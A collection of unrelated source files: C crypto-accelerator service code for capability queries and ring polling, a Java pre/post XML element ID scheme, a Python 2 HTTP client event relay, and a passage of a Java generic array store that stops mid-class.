LAC_LOG2("Called with params (0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle_in,
(LAC_ARCH_UINT)pCapInfo);
#endif
/* Verify Instance exists */
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_GetFirstHandle(SAL_SERVICE_TYPE_CRYPTO);
if (!instanceHandle)
{
instanceHandle = Lac_GetFirstHandle(SAL_SERVICE_TYPE_CRYPTO_SYM);
}
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
LAC_CHECK_NULL_PARAM(pCapInfo);
pCryptoService = (sal_crypto_service_t *)instanceHandle;
pGenericService = &(pCryptoService->generic_service_info);
osalMemSet(pCapInfo, '\0', sizeof(CpaCySymCapabilitiesInfo));
/* An asym crypto instance does not support sym service */
if (SAL_SERVICE_TYPE_CRYPTO_ASYM == pGenericService->type)
{
return CPA_STATUS_SUCCESS;
}
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_CIPHER)
{
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_NULL);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_ECB);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_CBC);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_CTR);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_XTS);
}
if (pGenericService->capabilitiesMask &
ICP_ACCEL_CAPABILITIES_AUTHENTICATION)
{
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA1);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA224);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA256);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA384);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA512);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_XCBC);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_CMAC);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_CBC_MAC);
}
if ((pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_CIPHER) &&
(pGenericService->capabilitiesMask &
ICP_ACCEL_CAPABILITIES_AUTHENTICATION))
{
/* When one of the following cipher algorithms is used, the elements of
* the CpaCySymHashAlgorithm enum MUST be used to set up the related
* CpaCySymHashSetupData structure in the session context.
* CPA_CY_SYM_CIPHER_AES_CCM
* CPA_CY_SYM_CIPHER_AES_GCM
*/
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_CCM);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_AES_GCM);
/* When one of the following hash algorithms is used, the elements of
* the CpaCySymCipherAlgorithm enum MUST be used to set up the related
* CpaCySymCipherSetupData structure in the session context.
* CPA_CY_SYM_HASH_AES_CCM
* CPA_CY_SYM_HASH_AES_GCM
* CPA_CY_SYM_HASH_AES_GMAC
*/
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_CCM);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_GCM);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_AES_GMAC);
}
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_CRYPTO_SHA3)
{
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA3_256);
}
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_CHACHA_POLY)
{
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_POLY);
CPA_BITMAP_BIT_SET(pCapInfo->ciphers, CPA_CY_SYM_CIPHER_CHACHA);
}
pCapInfo->partialPacketSupported = CPA_TRUE;
if (pGenericService->capabilitiesMask & ICP_ACCEL_CAPABILITIES_SHA3_EXT)
{
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA3_224);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA3_256);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA3_384);
CPA_BITMAP_BIT_SET(pCapInfo->hashes, CPA_CY_SYM_HASH_SHA3_512);
}
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
*****************************************************************************/
CpaStatus cpaCySetAddressTranslation(const CpaInstanceHandle instanceHandle_in,
CpaVirtualToPhysical virtual2physical)
{
CpaInstanceHandle instanceHandle = NULL;
sal_service_t *pService = NULL;
#ifdef ICP_TRACE
LAC_LOG2("Called with params (0x%lx, 0x%lx)\n",
(LAC_ARCH_UINT)instanceHandle_in,
(LAC_ARCH_UINT)virtual2physical);
#endif
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
instanceHandle = Lac_CryptoGetFirstHandle();
}
else
{
instanceHandle = instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(instanceHandle);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
LAC_CHECK_NULL_PARAM(virtual2physical);
pService = (sal_service_t *)instanceHandle;
pService->virt2PhysClient = virtual2physical;
return CPA_STATUS_SUCCESS;
}
/**
******************************************************************************
* @ingroup cpaCyCommon
* Crypto specific polling function which polls a crypto instance.
*****************************************************************************/
CpaStatus icp_sal_CyPollInstance(CpaInstanceHandle instanceHandle_in,
Cpa32U response_quota)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *crypto_handle = NULL;
sal_service_t *gen_handle = NULL;
icp_comms_trans_handle trans_hndTable[MAX_CY_RX_RINGS];
Cpa32U num_rx_rings = 0;
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
crypto_handle = (sal_crypto_service_t *)Lac_CryptoGetFirstHandle();
}
else
{
crypto_handle = (sal_crypto_service_t *)instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(crypto_handle);
SAL_CHECK_INSTANCE_TYPE(crypto_handle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
gen_handle = &(crypto_handle->generic_service_info);
if ((Sal_ServiceIsInError(crypto_handle)))
{
LAC_LOG_DEBUG("PollCyInstance: generate dummy responses\n");
status = SalCtrl_CyGenResponses(crypto_handle, gen_handle);
if ((CPA_STATUS_SUCCESS != status) && (CPA_STATUS_RETRY != status))
{
LAC_LOG_ERROR("Failed to Generate Responses for CY\n");
}
return status;
}
SAL_RUNNING_CHECK(crypto_handle);
/*
* From the instanceHandle we must get the trans_handle and send
* down to adf for polling.
* Populate our trans handle table with the appropriate handles.
*/
switch (gen_handle->type)
{
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_asym_rx;
num_rx_rings = 1;
break;
case SAL_SERVICE_TYPE_CRYPTO_SYM:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_sym_rx;
num_rx_rings = 1;
break;
case SAL_SERVICE_TYPE_CRYPTO:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_sym_rx;
trans_hndTable[TH_CY_RX_1] = crypto_handle->trans_handle_asym_rx;
num_rx_rings = MAX_CY_RX_RINGS;
break;
default:
break;
}
/* Call adf to do the polling. */
status = icp_adf_pollInstance(trans_hndTable, num_rx_rings, response_quota);
return status;
}
/*
******************************************************************************
* @ingroup cpaCyCommon
* Crypto specific polling function which polls a symmetric instance.
*****************************************************************************/
CpaStatus icp_sal_CyPollSymRing(CpaInstanceHandle instanceHandle_in,
Cpa32U response_quota)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *crypto_handle = NULL;
icp_comms_trans_handle trans_hndTable[NUM_CRYPTO_SYM_RX_RINGS] = {0};
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
crypto_handle = (sal_crypto_service_t *)Lac_GetFirstHandle(
SAL_SERVICE_TYPE_CRYPTO_SYM);
}
else
{
crypto_handle = (sal_crypto_service_t *)instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(crypto_handle);
SAL_CHECK_INSTANCE_TYPE(
crypto_handle, (SAL_SERVICE_TYPE_CRYPTO | SAL_SERVICE_TYPE_CRYPTO_SYM));
SAL_RUNNING_CHECK(crypto_handle);
/*
* From the instanceHandle we must get the trans_handle and send
* down to adf for polling.
* Populate trans handle table with the appropriate handle.
*/
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_sym_rx;
/* Call adf to do the polling. */
status = icp_adf_pollInstance(
trans_hndTable, NUM_CRYPTO_SYM_RX_RINGS, response_quota);
return status;
}
/*
******************************************************************************
* @ingroup cpaCyCommon
* Crypto specific polling function which polls an asymmetric instance.
*****************************************************************************/
CpaStatus icp_sal_CyPollAsymRing(CpaInstanceHandle instanceHandle_in,
Cpa32U response_quota)
{
CpaStatus status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *crypto_handle = NULL;
sal_service_t *gen_handle = NULL;
icp_comms_trans_handle trans_hndTable[NUM_CRYPTO_ASYM_RX_RINGS] = {0};
if (CPA_INSTANCE_HANDLE_SINGLE == instanceHandle_in)
{
crypto_handle = (sal_crypto_service_t *)Lac_GetFirstHandle(
SAL_SERVICE_TYPE_CRYPTO_ASYM);
}
else
{
crypto_handle = (sal_crypto_service_t *)instanceHandle_in;
}
LAC_CHECK_NULL_PARAM(crypto_handle);
SAL_CHECK_INSTANCE_TYPE(
crypto_handle,
(SAL_SERVICE_TYPE_CRYPTO | SAL_SERVICE_TYPE_CRYPTO_ASYM));
gen_handle = &(crypto_handle->generic_service_info);
if ((Sal_ServiceIsInError(crypto_handle)))
{
LAC_LOG_DEBUG("Generate dummy responses\n");
status = SalCtrl_CyGenResponses(crypto_handle, gen_handle);
if ((CPA_STATUS_SUCCESS != status) && (CPA_STATUS_RETRY != status))
{
LAC_LOG_ERROR("Failed to generate dummy Responses\n");
}
return status;
}
SAL_RUNNING_CHECK(crypto_handle);
/*
* From the instanceHandle we must get the trans_handle and send
* down to adf for polling.
* Populate trans handle table with the appropriate handle.
*/
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_asym_rx;
/* Call adf to do the polling. */
status = icp_adf_pollInstance(
trans_hndTable, NUM_CRYPTO_ASYM_RX_RINGS, response_quota);
return status;
}
/* Polling CY instances' memory pool in progress of all banks for one device */
STATIC CpaStatus Lac_CyService_GenResponses(sal_list_t **services)
{
CpaInstanceHandle cyInstHandle = NULL;
sal_list_t *sal_service = NULL;
sal_crypto_service_t *crypto_handle = NULL;
sal_service_t *gen_handle = NULL;
CpaStatus status = CPA_STATUS_SUCCESS;
LAC_CHECK_NULL_PARAM(services);
sal_service = *services;
while (sal_service)
{
cyInstHandle = (void *)SalList_getObject(sal_service);
crypto_handle = (sal_crypto_service_t *)cyInstHandle;
LAC_CHECK_NULL_PARAM(crypto_handle);
gen_handle = &(crypto_handle->generic_service_info);
status = SalCtrl_CyGenResponses(crypto_handle, gen_handle);
if (CPA_STATUS_SUCCESS != status)
{
break;
}
sal_service = SalList_next(sal_service);
}
return status;
}
CpaStatus Lac_CyPollAllBanks_GenResponses(icp_accel_dev_t *accel_dev)
{
sal_t *service_container = NULL;
Cpa32U enabled_services = 0;
CpaStatus status = CPA_STATUS_SUCCESS;
service_container = accel_dev->pSalHandle;
status = SalCtrl_GetEnabledServices(accel_dev, &enabled_services);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR("Failed to get supported services");
return status;
}
if (SalCtrl_IsServiceEnabled(enabled_services,
SAL_SERVICE_TYPE_CRYPTO_ASYM))
{
status = Lac_CyService_GenResponses(&service_container->asym_services);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR(
"Failed to generate dummy responses for asym service");
return status;
}
}
if (SalCtrl_IsServiceEnabled(enabled_services, SAL_SERVICE_TYPE_CRYPTO))
{
status =
Lac_CyService_GenResponses(&service_container->crypto_services);
if (CPA_STATUS_SUCCESS != status)
{
LAC_LOG_ERROR(
"Failed to generate dummy responses for crypto service");
return status;
}
}
return status;
}
/* Returns the handle to the first asym crypto instance */
STATIC CpaInstanceHandle
Lac_GetFirstAsymHandle(icp_accel_dev_t *adfInsts[ADF_MAX_DEVICES],
Cpa16U num_dev)
{
icp_accel_dev_t *dev_addr = NULL;
sal_t *base_addr = NULL;
sal_list_t *list_temp = NULL;
CpaInstanceHandle cyInst = NULL;
Cpa16U i = 0;
for (i = 0; i < num_dev; i++)
{
dev_addr = (icp_accel_dev_t *)adfInsts[i];
base_addr = dev_addr->pSalHandle;
if ((NULL != base_addr) && (NULL != base_addr->asym_services))
{
list_temp = base_addr->asym_services;
cyInst = SalList_getObject(list_temp);
break;
}
}
return cyInst;
}
/* Returns the handle to the first sym crypto instance */
STATIC CpaInstanceHandle
Lac_GetFirstSymHandle(icp_accel_dev_t *adfInsts[ADF_MAX_DEVICES],
Cpa16U num_dev)
{
icp_accel_dev_t *dev_addr = NULL;
sal_t *base_addr = NULL;
sal_list_t *list_temp = NULL;
CpaInstanceHandle cyInst = NULL;
Cpa16U i = 0;
for (i = 0; i < num_dev; i++)
{
dev_addr = (icp_accel_dev_t *)adfInsts[i];
base_addr = dev_addr->pSalHandle;
if ((NULL != base_addr) && (NULL != base_addr->sym_services))
{
list_temp = base_addr->sym_services;
cyInst = SalList_getObject(list_temp);
break;
}
}
return cyInst;
}
/* Returns the handle to the first crypto instance
* Note that the crypto instance in this case supports
* both asym and sym services */
STATIC CpaInstanceHandle
Lac_GetFirstCyHandle(icp_accel_dev_t *adfInsts[ADF_MAX_DEVICES], Cpa16U num_dev)
{
icp_accel_dev_t *dev_addr = NULL;
sal_t *base_addr = NULL;
sal_list_t *list_temp = NULL;
CpaInstanceHandle cyInst = NULL;
Cpa16U i = 0;
for (i = 0; i < num_dev; i++)
{
dev_addr = (icp_accel_dev_t *)adfInsts[i];
base_addr = dev_addr->pSalHandle;
if ((NULL != base_addr) && (NULL != base_addr->crypto_services))
{
list_temp = base_addr->crypto_services;
cyInst = SalList_getObject(list_temp);
break;
}
}
return cyInst;
}
CpaInstanceHandle Lac_GetFirstHandle(sal_service_type_t svc_type)
{
CpaStatus status = CPA_STATUS_SUCCESS;
static icp_accel_dev_t *adfInsts[ADF_MAX_DEVICES] = {0};
CpaInstanceHandle cyInst = NULL;
Cpa16U num_cy_dev = 0;
Cpa32U capabilities = 0;
switch (svc_type)
{
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
capabilities = ICP_ACCEL_CAPABILITIES_CRYPTO_ASYMMETRIC;
break;
case SAL_SERVICE_TYPE_CRYPTO_SYM:
capabilities = ICP_ACCEL_CAPABILITIES_CRYPTO_SYMMETRIC;
break;
case SAL_SERVICE_TYPE_CRYPTO:
capabilities = ICP_ACCEL_CAPABILITIES_CRYPTO_ASYMMETRIC;
capabilities |= ICP_ACCEL_CAPABILITIES_CRYPTO_SYMMETRIC;
break;
default:
LAC_LOG_ERROR("Invalid service type\n");
return NULL;
break;
}
/* Only need 1 dev with crypto enabled - so check all devices*/
status = icp_adf_getAllAccelDevByEachCapability(
capabilities, adfInsts, &num_cy_dev);
if ((0 == num_cy_dev) || (CPA_STATUS_SUCCESS != status))
{
LAC_LOG_ERROR("No crypto devices enabled in the system\n");
return NULL;
}
switch (svc_type)
{
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
/* Try to find an asym only instance first */
cyInst = Lac_GetFirstAsymHandle(adfInsts, num_cy_dev);
/* Try to find a cy instance since it also supports asym */
if (NULL == cyInst)
{
cyInst = Lac_GetFirstCyHandle(adfInsts, num_cy_dev);
}
break;
case SAL_SERVICE_TYPE_CRYPTO_SYM:
/* Try to find a sym only instance first */
cyInst = Lac_GetFirstSymHandle(adfInsts, num_cy_dev);
/* Try to find a cy instance since it also supports sym */
if (NULL == cyInst)
{
cyInst = Lac_GetFirstCyHandle(adfInsts, num_cy_dev);
}
break;
case SAL_SERVICE_TYPE_CRYPTO:
/* Try to find a cy instance */
cyInst = Lac_GetFirstCyHandle(adfInsts, num_cy_dev);
break;
default:
break;
}
if (NULL == cyInst)
{
LAC_LOG_ERROR("No remaining crypto instances available\n");
}
return cyInst;
}
CpaStatus icp_sal_CyGetFileDescriptor(CpaInstanceHandle instanceHandle, int *fd)
{
sal_crypto_service_t *crypto_handle = NULL;
sal_service_t *gen_handle = NULL;
CpaStatus status = CPA_STATUS_SUCCESS;
crypto_handle = (sal_crypto_service_t *)instanceHandle;
/* Make sure that we zero file descriptor
* in case of error or unsupported. */
LAC_CHECK_NULL_PARAM(fd);
*fd = 0;
LAC_CHECK_NULL_PARAM(crypto_handle);
SAL_RUNNING_CHECK(crypto_handle);
if (SAL_RESP_EPOLL_CFG_FILE != crypto_handle->isPolled)
{
return CPA_STATUS_UNSUPPORTED;
}
gen_handle = &(crypto_handle->generic_service_info);
switch (gen_handle->type)
{
case SAL_SERVICE_TYPE_CRYPTO:
{
status = SalCtrl_CyGetFileDescriptor(crypto_handle, fd);
break;
}
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
{
status = SalCtrl_AsymGetFileDescriptor(crypto_handle, fd);
break;
}
case SAL_SERVICE_TYPE_CRYPTO_SYM:
{
status = SalCtrl_SymGetFileDescriptor(crypto_handle, fd);
break;
}
default:
LAC_LOG_ERROR("The instance handle is the wrong type");
return CPA_STATUS_FAIL;
}
return status;
}
CpaStatus icp_sal_CyPutFileDescriptor(CpaInstanceHandle instanceHandle, int fd)
{
sal_crypto_service_t *crypto_handle = NULL;
crypto_handle = (sal_crypto_service_t *)instanceHandle;
LAC_CHECK_NULL_PARAM(crypto_handle);
SAL_RUNNING_CHECK(crypto_handle);
SAL_CHECK_INSTANCE_TYPE(instanceHandle,
(SAL_SERVICE_TYPE_CRYPTO |
SAL_SERVICE_TYPE_CRYPTO_ASYM |
SAL_SERVICE_TYPE_CRYPTO_SYM));
if (SAL_RESP_EPOLL_CFG_FILE != crypto_handle->isPolled)
{
return CPA_STATUS_UNSUPPORTED;
}
return CPA_STATUS_SUCCESS;
}
|
YifanLi/Effisto | src/fr/inria/oak/effisto/IDs/PrePostElementIDScheme.java | package fr.inria.oak.effisto.IDs;
import java.util.Stack;
/**
* Pre-post element ID scheme.
*
* @author <NAME>
*/
public class PrePostElementIDScheme implements IDScheme {
int currentPre;
int currentPost;
Stack<PrePostElementID> s;
PrePostElementID currentID;
static String nullIDStringImage = "null null null";
public PrePostElementIDScheme(){
currentPre = 0;
currentPost = 0;
currentID = null;
s = new Stack<PrePostElementID>();
}
public boolean isOrderPreserving() {
return true;
}
public boolean isParentAncestorPreserving() {
return true;
}
public boolean allowsParentNavigation() {
return false;
}
public boolean allowsUpdates() {
return false;
}
public void beginDocument() {
currentPre = 0;
currentPost = 0;
}
public void beginNode() {
currentID = new PrePostElementID(currentPre);
currentPre ++;
s.push(currentID);
//Parameters.logger.debug("Assigned and pushed " + currentID.toString());
}
public void beginNode(String tag) {
// TODO Auto-generated method stub
}
public void endNode() {
currentID = s.pop();
currentID.setPost(currentPost);
//Parameters.logger.debug("Completed and popped " + currentID.toString());
currentPost ++;
}
public void endDocument() {
// nothing
}
public ElementID getLastID() {
//Parameters.logger.debug("Current ID: " + currentID.toString());
return currentID;
}
public String getSignature(String suffix){
return ("ID" + suffix + "Pre int, ID" + suffix + "Post int, ID");
}
public String nullIDStringImage(){
return nullIDStringImage;
}
/* (non-Javadoc)
* @see fr.inria.gemo.uload.IDs.IDScheme#getIndexSignature(java.lang.String)
*/
public String getIndexSignature(String suffix) {
return ("ID" + suffix + "Pre, ID" + suffix + "Post, ID");
}
} |
AndyThirtover/wb_gateway | WebBrickLibs/EventLib/EventRouterHTTPC.py | <reponame>AndyThirtover/wb_gateway
# Copyright L.P.Klyne 2013
# Licenced under 3 clause BSD licence
# -*- coding: utf-8 -*-
# $Id: EventRouterHTTPC.py 3675 2010-07-30 11:54:36Z tombushby $
#
"""
HTTP client event router implementation.
HTTP server and client event routers are connected, all events, and forwarding
subscriptions received by one party are forwarded to the other. Further, all
local subscriptions and event publication are handled as for a standard event router.
"""
from Queue import Queue
import threading # Thread, Event
import httplib
import socket
import time
from MiscLib.Logging import Trace, Info, Warn, logging
from Status import StatusVal
from Event import makeEvent
from EventEnvelope import constructEnvelope
from EventSerializer import ( makeEnvelopeData, makeClosedownData, makeIdleData,
parseMessageData )
from QueueDeferred import makeQueueDeferred
from SyncDeferred import makeDeferred
from EventAgent import EventAgent
from EventRouter import EventRouter
_log = logging.getLogger( "EventLib.EventRouterHTTPC" )
class EventRouterHTTPC(EventRouter):
"""
This is a derivation of the EventRouter class that prpovides the same basic
interface, but which also sends and reveives events using an HTTP connection.
The constructed class is an unmodified EventRouter, but the initializer also
creates and HTTP client event relay (see below) and hooks it up to the
EventRouter constructed here.
"""
def __init__(self, uri=None, host='', port=8082, simplex=False):
"""
Initialize a new HTTP client event router object
uri is a URI for this event router. A new URI derived from this is created
for the HTTP client event relay.
host is the IP address of host name to which the HTTP connection is made.
port is the TCP port number to which the HTTP connection is made.
"""
super(EventRouterHTTPC, self).__init__(uri)
relayuri = self.getUri()+"/HTTPC"
self._relay = EventRelayHTTPC(self, relayuri, host, port, simplex)
return
def close(self):
"""
Function called to close down event router.
"""
self._relay.close()
super(EventRouterHTTPC, self).close()
return
class EventRelayHTTPC(EventAgent):
"""
Implements an HTTP client event router that runs as a separate thread until
explicitly closed, which runs in tandem with a simple event router and
provides a tiny subset of the event router interface (receive).
The HTTP connection operates as a half duplex channel for sending and
receiving events, with the direction of flow being controlled by the
client: a GET request is implicitly a request for an event to be delivered
and blocks until an event is available, the request timeout period expires,
or the client cancels the request; a POST request supplies an event to be
delivered and/or forwarded.
Incoming events are queued for the client process, and are handled by the
HTTP client running in its separate thread.
"""
def __init__(self, router, uri=None, host='', port=8082, simplex=False):
"""
Initialize a new HTTP client event passing object
An HTTP client is associated with an existing event router, and
sends all messages received from that router to the HTTP connection,
and forwards all messages received from the HTTP connection to the
router.
Interaction with the indicated EventRouter object takes place primarily
through the 'receive' methods of this class and the supplied router.
Because messages received from HTTP are sent onwards using the normal
forwarding mechanisms, this class must perform loop-detection to stop
events being bounced back to the HTTP connection.
"""
super(EventRelayHTTPC, self).__init__(uri)
self._router = router
self._queue = Queue()
self._event = threading.Event()
self._closing = False
self._queueEvent = threading.Event()
self._simplex = simplex
# Have 'router' send all subscriptions events to this object
router.routeEventFrom(None, None, self)
router.doSubscribeRequest(self, -1, None, None)
# Create HTTP "connection", and start thread to respond to new events from it.
self._httpcon = httplib.HTTPConnection(host=host, port=port)
self._thread = threading.Thread(name=uri, target=self.processEvent)
self._thread.start()
return
def receive(self, fromrouter, envelope):
"""
This function receives messages from the associated router and queues
them for transmission on the HTTP interface.
NOTE: receive and forward here perform loop-check for outgoing events,
and add the extra envelope hop for incoming. The sole purpose of this
loop-check is to prevent incoming HTTP events from being sent out again.
"""
event = envelope.unWrap(self.getUri())
if event:
Trace("%s receive %s from %s"%(self.getUri(),event,fromrouter), "EventLib.EventRelayHTTPC")
return self.queueItem(["forward",envelope])
return makeDeferred(StatusVal.OK)
def forward(self, event, env):
"""
Internal function to process event received from HTTP connection:
add new hop to envelope and pass it straight on to the associated router object.
"""
Trace("%s forward %s"%(self.getUri(),event), "EventLib.EventRelayHTTPC")
return self._router.receive(self, env.nextHop(self.getUri()))
def close(self):
"""
Shut down the event router thread
"""
Trace("%s close"%(self.getUri()), "EventLib.EventRelayHTTPC")
self._httpcon.close()
self._closing = True
self._event.set()
self._queueEvent.set()
self._queue.put(["closedown",[]])
self._thread.join()
Trace("%s closed"%(self.getUri()), "EventLib.EventRelayHTTPC")
return
def queueItem(self, item):
"""
Add item to the queue, and return a deferred object that fires when an item is removed
(or the queue is empty).
"""
Trace("%s queueItem (%s)"%(self.getUri(),item), "EventLib.EventRelayHTTPC")
if not self._closing:
self._queue.put(item)
self._queueEvent.set()
return makeQueueDeferred(StatusVal.OK, self._queue, self._event)
return makeDeferred(StatusVal.OK)
def getQueuedItem(self):
"""
Wait for an item to be queued, then return it.
"""
Trace("%s getQueuedItem ..."%(self.getUri()), context="EventLib.EventRelayHTTPC")
item = self._queue.get()
Trace("%s getQueuedItem (%s)"%(self.getUri(),item), context="EventLib.EventRelayHTTPC")
self._event.set()
return item
# --- HTTP client worker thread function ---
def processEvent(self):
"""
This function is the HTTP client worker thread.
"""
# Note: break out of event dispatch loop when closedown event is received
# and closing flag is set. This is to prevent DoS attack by faked closedown
# event type, and to ensure that prior events received are all processed.
delay_on_error_min = 0.125 # Back off retry interval on error..
delay_on_error_max = 20.0 # ..
delay_on_error = delay_on_error_min # ..
while True:
if delay_on_error < delay_on_error_max:
delay_on_error *= 2
try:
# PLEASE NOTE: In the event that the HTTPC is run as duplex, not simplex
# then the post methods will be delayed if nothing is sent down to the client
# from the server. This timeout is controlled by QUEUE_WAIT_TIMEOUT in EventRouterHTTPS.py
if self._simplex == True:
self._queueEvent.wait()
self._queueEvent.clear()
if not self._queue.empty():
Trace("%s queue.get ..."%(self.getUri()), "EventLib.EventRelayHTTPC")
###msgbody = self._queue.get()
###Trace("%s get msgbody: %s"%(self.getUri(),msgbody), "EventLib.EventRelayHTTPC")
###self._event.set()
msgbody = self.getQueuedItem()
[typ,env] = msgbody
if typ == "closedown":
if self._closing: break
else:
# process request as an HTTP POST request
data = makeEnvelopeData(env)
headers = { "Content-type": "text/plain",
"Accept": "text/plain",
"Content-length": str(len(data)) }
self._httpcon.request("POST", "/request_path_ignored", data, headers)
response = self._httpcon.getresponse()
delay_on_error = delay_on_error_min
elif self._simplex == False:
# Nothing in queue:
# issue a GET for incoming events
_log.info("%s HTTP get ..."%(self.getUri()))
headers = { "Accept": "text/plain" }
self._httpcon.request("GET", "/request_path_ignored", None, headers)
response = self._httpcon.getresponse()
if response.status == 200:
delay_on_error = delay_on_error_min
msgbody = response.read()
Trace("%s get msgbody: %s"%(self.getUri(),msgbody), "EventLib.EventRelayHTTPC")
# Parse message and act accordingly
msgdata = parseMessageData(msgbody)
Trace("%s get msgdata: %s"%(self.getUri(),str(msgdata)), "EventLib.EventRelayHTTPC")
if msgdata == None:
#TODO: Log "Request body malformed"
pass
elif msgdata[0] == "forward":
# msgdata = ["forward", [['R1', 'R2', 'R3'], 'ev:typ', 'ev:src', 'payload']]
event = makeEvent(evtype=msgdata[1][1],source=msgdata[1][2],payload=msgdata[1][3])
env = constructEnvelope(msgdata[1][0], event)
self.forward(event, env)
elif msgdata[0] == "idle":
# Idle response gives client a chance to send if anything is queued
pass
else:
#TODO: handle closedown message?
Warn( "%s Request body unrecognized option: %s"%(self.getUri(),msgdata[0]), "EventRelayHTTPC")
pass
elif response.status == 503:
Trace( "%s processEvent error response: %u, %s"%(self.getUri(),response.status,response.reason), "EventLib.EventRelayHTTPC")
# Remote end closed down
break
else:
# TODO: (log error response)
Warn( "%s processEvent error response: %u, %s"%(self.getUri(),response.status,response.reason), "EventLib.EventRelayHTTPC")
time.sleep(delay_on_error)
except httplib.BadStatusLine, e:
# This can happen at closedown
Info( "%s processEvent bad response: %s"%(self.getUri(), str(e)), "EventLib.EventRelayHTTPC")
time.sleep(delay_on_error)
except httplib.CannotSendRequest, e:
# This can happen at closedown
Info( "%s Cannot send request: %s"%(self.getUri(), str(e)), "EventLib.EventRelayHTTPC")
time.sleep(delay_on_error)
except httplib.ResponseNotReady, e:
# This can happen at startup and sometimes other times:
# maybe multiple requests on a single HTTP connection object?
Info( "%s Response not ready: (%s)"%(self.getUri(), str(e)), "EventLib.EventRelayHTTPC")
time.sleep(delay_on_error)
except socket.error, e:
Warn( "%s Socket error: %s"%(self.getUri(), str(e)), "EventLib.EventRelayHTTPC")
time.sleep(delay_on_error)
return
# End.
|
bessovistnyj/jvm-byte-code | CollectionPro/GenericPro/src/main/java/ru/napadovskiub/store/SimpleArrayStore.java | <reponame>bessovistnyj/jvm-byte-code
package ru.napadovskiub.store;
/**
*Base class.
* @param <T> generic.
*/
public class SimpleArrayStore<T extends Base> implements Store {
/**
*Array for elements.
*/
private Object[] objects;
/**
*cursor on current index of Array.
*/
private int currentPosition;
/**
*Constructor for array store with size.
* @param size array size.
*/
public SimpleArrayStore(int size) {
this.objects = new Object[size];
this.currentPosition = 0;
}
/**
*Method return value by index.
* @param id index.
* @return value.
*/
public Base get(String id) {
Base result = null;
for (int i = 0; i < this.objects.length; i++) {
if (this.objects[i] != null) {
Base tmpResult = (Base) this.objects[i];
if (tmpResult.getId().equals(id)) {
result = tmpResult;
break;
}
}
}
return (Base) result;
}
/**
*Method add value to array.
* @param value
*/
@Override
public void add(Base value) {
this.objects[currentPosition++] = value;
}
/**
* Method update value in array.
* @param id position.
* @param newValue new value.
*/
@Override
